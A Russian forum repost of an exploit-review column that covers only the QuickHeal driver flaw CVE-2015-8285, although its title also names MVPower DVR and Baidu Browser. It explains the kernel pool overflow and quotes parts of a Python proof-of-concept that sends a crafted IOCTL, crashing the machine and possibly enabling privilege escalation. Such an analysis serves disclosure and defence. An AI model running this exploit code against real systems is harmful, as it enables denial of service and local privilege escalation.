Перейти к содержимому


- - - - -

ОБЗОР ЭКСПЛОИТ DVR MVPOWER, QUICKHEAL И BAIDU BROWSER


  • Авторизуйтесь для ответа в теме
В этой теме нет ответов

#1 Гость_Angel(1)_*

Гость_Angel(1)_*
  • Gosti
  • 0

Отправлено 14 Март 2016 - 09:44

ОБЗОР ЭКСПЛОИТОВ №206. DVR MVPOWER, QUICKHEAL И BAIDU BROWSER
x00006495_mvpower-8-1000x617.jpg
 
 
 

В сегодняшнем обзоре мы рассмотрим DoS уязвимость в антивирусе QuickHeal, посмотрим, как происходит процесс поиска и эксплуатации ошибки в браузере Baidu для Android, и закончим взглядом на серию уязвимоcтей в популярной веб-камере.

 
DoS уязвимость в драйвере webssx.sys от QuickHeal CVSSv2

N/A

BRIEF

Дата релиза: 19 февраля 2016 года
Автор: Csaba Fitzl
CVE: 2015-8285

В антивирусе QuickHeal 16.00 (9.0.0.x) была обнаружена DoS-уязвимость, которая может привести к повышению привилегий. Уязвимый драйвер можно найти по следующему пути:

C:\Program Files\Quick Heal\Quick Heal Internet Security\webssx.sys

Если мы посмотрим его характеристики с помощью программы DeviceTree, то увидим, что, хоть она и должна быть доступна только администраторам или пользователю SYSTEM, флаг DEVICE_SECURE_OPEN не используется. Это означает, что любой пользователь может взаимодействовать с этим драйвером и произвольным путем к нему. Выглядеть он будет примерно так: \Device\webssx\sometext.

1457333229_c578_devicetree.png

Свойства драйвера webssx в DeviceTree

Далee автор нашел IOCTL код 0x830020FC, приводящий к вызову уязвимой функции. Но для того, чтобы попасть к ней, нужно, чтобы размер входящего буфера был больше, чем 0x138. Если условие выполняется, то по адресу webssx+5596, произойдет вызовsub_1D1E, который затем вызовет функцию webssx+1090. Граф вызовов представлен на скриншоте.

1457333241_df9d_call_sub1de.png

Граф вызовов уязвимой функции драйвера webssx

Целочисленное переполнение получается из-за недостаточной проверки получаемых данных из входного буфера. На скриншоте ты можешь видеть, что если мы имеем 0x1 в определенном месте буфера, то случится переход на небольшой участок кода, который установит новое значение регистра EDX. Данные берутся из буфера и к ним добавляется0x14A.

1457333249_57fe_function_trigger.png

 

Затем EDX используется для выделения пула в пространстве ядра. Если мы установим значение по смещению 0x130 в буфере на 0xffffffc0 или нечто похожее, то значение в EDX будет меньше, чем 0x14A. Затем оно используется для задания размера пула.

Если выделение пройдет успешно, то мы увидим, что будет скoпировано 0x4E*4 = 0x138байт внутрь пула из буфера. В случае повреждения размера выделения произойдет перезапись пула ядра, что, в свою очередь, приведет к повышению привилегий.

1457333257_929a_pool_overflow.png

Перезапись пула ядра после переполнения в webssx

Когда функция продолжит работу, те же проверки будут снова выполнены, и мы обратимся к операции memcpy. Первоначальная задумка разработчиков, наверное, выглядела примерно так:

if some_value = 1:
B = InputBuffer[0x130]
Выделение пула размером A+B
else:
Выделение пула размером A
Копирование А байт из InputBuffer в пул

if some_value = 1
Копирование дополнительных B байт из InputBuffer в пул
1457333269_7549_graph_calls.png

Вызов оперaции memcpy в webssx

Операция memcpy вызовет BSOD (потому что размер параметра будет намного больше — 0xffffffc0, что примерно равно 4 ГБ) и может упасть в следующих случаях:

  1. наш ввод меньше 4 ГБ и попытается прочесть из памяти адреса, которые не инициализированы;
  2. на 32-битном компьютере у нас закончится память во время копирования.
 
EXPLOIT

Автор опубликовал на GitHub свой эксплойт для демонстрации уязвимости. Он написан на Python и для работы требует ctypes, чтобы обратиться к kernel32 и ntdll:

kernel32 = windll.kernel32
ntdll
= windll.ntdll

Обратимся к кастомному обработчику ядра \\\\.\\webssx\some с нужными параметрами:

GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
OPEN_EXISTING = 0x3
IOCTL_VULN = 0x830020FC
DEVICE_NAME = "\\\\.\\webssx\some" # Добавляем "some" для обходп ACL restriction, (FILE_DEVICE_SECURE_OPEN отсутствует для такого драйвера)
dwReturn = c_ulong()
driver_handle = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None)

inputbuffer = 0x41414141 # адрес памяти входящего буфера
inputbuffer_size = 0x1000
outputbuffer_size = 0x0
outputbuffer = 0x20000000

Выделим память:

baseadd = c_int(base)
size = c_int(evil_size)
evil_input = "\x41" * 0x10
evil_input += "\x42\x01\x42\x42" # триггер memcpy
evil_input += "\x42" * (0x130-0x14)
evil_input += "\xc0\xff\xff\xff" # это вызывает падение memcpy и появление BSOD
evil_input += "\x43" * (evil_size-len(evil_input))
ntdll.NtAllocateVirtualMemory.argtypes = [c_int, POINTER(c_int), c_ulong,
POINTER(c_int), c_int, c_int]
dwStatus = ntdll.NtAllocateVirtualMemory(0xFFFFFFFF, byref(baseadd), 0x0,
byref(size),
MEM_RESERVE|MEM_COMMIT,
PAGE_EXECUTE_READWRITE)
written = c_ulong()
alloc = kernel32.WriteProcessMemory(0xFFFFFFFF, base, evil_input, len(evil_input), byref(written))

И отправляем ioctl-вызов:

dev_ioctl = ntdll.ZwDeviceIoControlFile(driver_handle,
None,
None,
None,
byref(IoStatusBlock),
IOCTL_VULN,
inputbuffer,
inputbuffer_size,
outputbuffer,
outputbuffer_size
)

Аналогичная уязвимость существует и на 64-битных системах, но так как оперативной памяти больше, то, по словам автора, возможен не только DoS, но и поднятие привилегий.

TARGETS

QuickHeal 16.00 (9.0.0.x)

SOLUTION

Производитель выпустил исправление.

 


Сообщение отредактировал Angel(1): 14 Март 2016 - 09:51





Количество пользователей, читающих эту тему: 1

0 пользователей, 1 гостей, 0 анонимных